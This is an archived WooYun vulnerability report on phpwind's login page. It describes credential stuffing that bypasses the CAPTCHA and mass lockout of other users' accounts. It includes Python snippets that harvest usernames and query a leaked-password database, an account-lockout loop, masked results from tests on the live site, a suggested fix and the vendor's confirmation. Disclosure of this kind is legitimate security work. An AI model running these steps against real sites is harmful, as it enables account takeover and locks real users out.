当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082820

漏洞标题:phpwind登录处可撞库可锁定他人帐号

相关厂商:phpwind

漏洞作者: JJ Fly

提交时间:2014-11-12 15:24

修复时间:2015-02-10 15:26

公开时间:2015-02-10 15:26

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-12: 细节已通知厂商并且等待厂商处理中
2014-11-13: 厂商已经确认,细节仅向厂商公开
2014-11-16: 细节向第三方安全合作伙伴开放
2015-01-07: 细节向核心白帽子及相关领域专家公开
2015-01-17: 细节向普通白帽子公开
2015-01-27: 细节向实习白帽子公开
2015-02-10: 细节向公众公开

简要描述:

Phpwind在登录处可以撞库(官网演示)
以及锁定他人帐号,可持续(批量锁定是不是很爽,未测试。。。。。)
开启验证码也可绕过。

详细说明:

黑盒测试的直接说怎么用吧。
1.
我们先把所有帐号的用户提取出来。
代码如下

def get(uid):
con=urllib2.urlopen("http://www.phpwind.net/index.php?m=space&uid="+str(uid)).read()
r=re.compile('<title>(\S+)的个人空间')
return r.findall(con)


2.
再来做个社工库的接口,根据用户名提取密码。

def getpass(name):
con=urllib2.urlopen("http://192.168.1.117/xxx.php?so="+name).read()
r=re.compile('<td width="27%">(\S{1,16})</td>')
return r.findall(con)


3.
说完这个我们可以说如何撞库了。
在登录的页面。
http://www.phpwind.net/index.php?m=u&c=login
输入正确的验证码,然后单击登录进行抓包。
然后自己可以写一个脚本撞库就行了。
4.
再说下如何批量锁定帐号。
拿官网说明。
官网的帐号是密码六次错误就锁定30分钟。
我们可以写一个脚本。 就在那一直进行爆破错误的密码。6次锁定。
然后用户无法登录了。
半小时之后继续。。。。。。
设想下,写个脚本,半小时从id 1到最后(可以新注册帐号查看最后id)
爆破错误的密码6次,然后锁定了。
半小时循环一次。。。。。

漏洞证明:

测试了1000个id,撞出来了几十个密码。
未去重。
有的帐号,库中密码不止6个,所以直接锁死了,也不是很正确。
so 下面数据仅仅是展示效果。

图片1.png


图片2.png


图片3.png


图片4.png


图片5.png


mask 区域
***** pass:*****
***** pass:*****
*****23 pass*****
*****t18 pa*****
***** pass:4*****
***** pass:*****
***** pass:*****
***** pass:2*****
***** pass*****
***** pass*****
*****泪 pass*****
***** pass:*****
***** pass:*****
***** pass:*****
***** pass:*****
*****9 pass*****
*****9 pass*****
***** pass:2*****
***** pass*****
***** pass*****
***** pass:s*****
***** pass:s*****
***** pass:*****
***** pass:*****
***** pass:*****
*****ing pa*****
***** pass:d*****
***** pass:*****
*****5 pas*****
*****6 pass*****
*****n pass*****
***** pass:*****
*****ck pas*****
***** pass:1*****
***** pass:w*****
***** pass:w*****
***** pass:*****
***** pass:*****
***** pass:*****
*****3 pass*****
*****3 pass*****
*****3 pass*****
***** pass:*****
***** pass:2*****
*****09 pas*****
*****09 pas*****
***** pass:*****
***** pass:*****
*****1 pass*****
***** pass:*****
***** pass*****
***** pass:6*****
***** pass:6*****
***** pass:*****
***** pass:m*****
***** pass:*****
***** pass*****
*****pass:11*****
*****pass:11*****
*****pass:yo*****
***** pass*****
*****x pas*****
*****js pas*****
*****js pas*****
***** pass:9*****
***** pass:9*****
***** pass:9*****
***** pass:*****
***** pass:*****
***** pass:*****
***** pass:5*****
***** pass:5*****
***** pass:5*****
***** pass*****
***** pass*****
*****85 pas*****
***** pass*****
***** pass:*****
***** pass:*****
***** pass:*****
***** pass:*****
***** pass:*****
***** pass:*****
*****pass:1*****
***** pass:8*****
***** pass:*****
***** pass:*****
***** pass:*****
*****my pas*****
***** pass*****
*****y pass*****
***** pass:mo*****
***** pass:mo*****
***** pass:6*****
***** pass:*****
*****ind pa*****
*****ind pa*****
*****u pass*****
***** pass:*****
***** pass:2*****
***** pass:1*****
*****n pass*****
***** pass*****

修复方案:

rank实在不知道写多少,写了个低1,看着给吧。
下面内容仅供参考
我觉得可以把验证码的值写在session中,
然后每次提交一次,刷新一次。
类似这样

If($_SESSION[‘seccode’]==’’){print ‘验证码为空’;exit();}
if($_SESSION['seccode']!=$seccode){
$_SESSION[‘seccode’]=’’;
print '验证码错误';
exit;
}

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-11-13 09:34

厂商回复:

感谢你对我们的支持与关注,该问题我们正在修复

最新状态:

暂无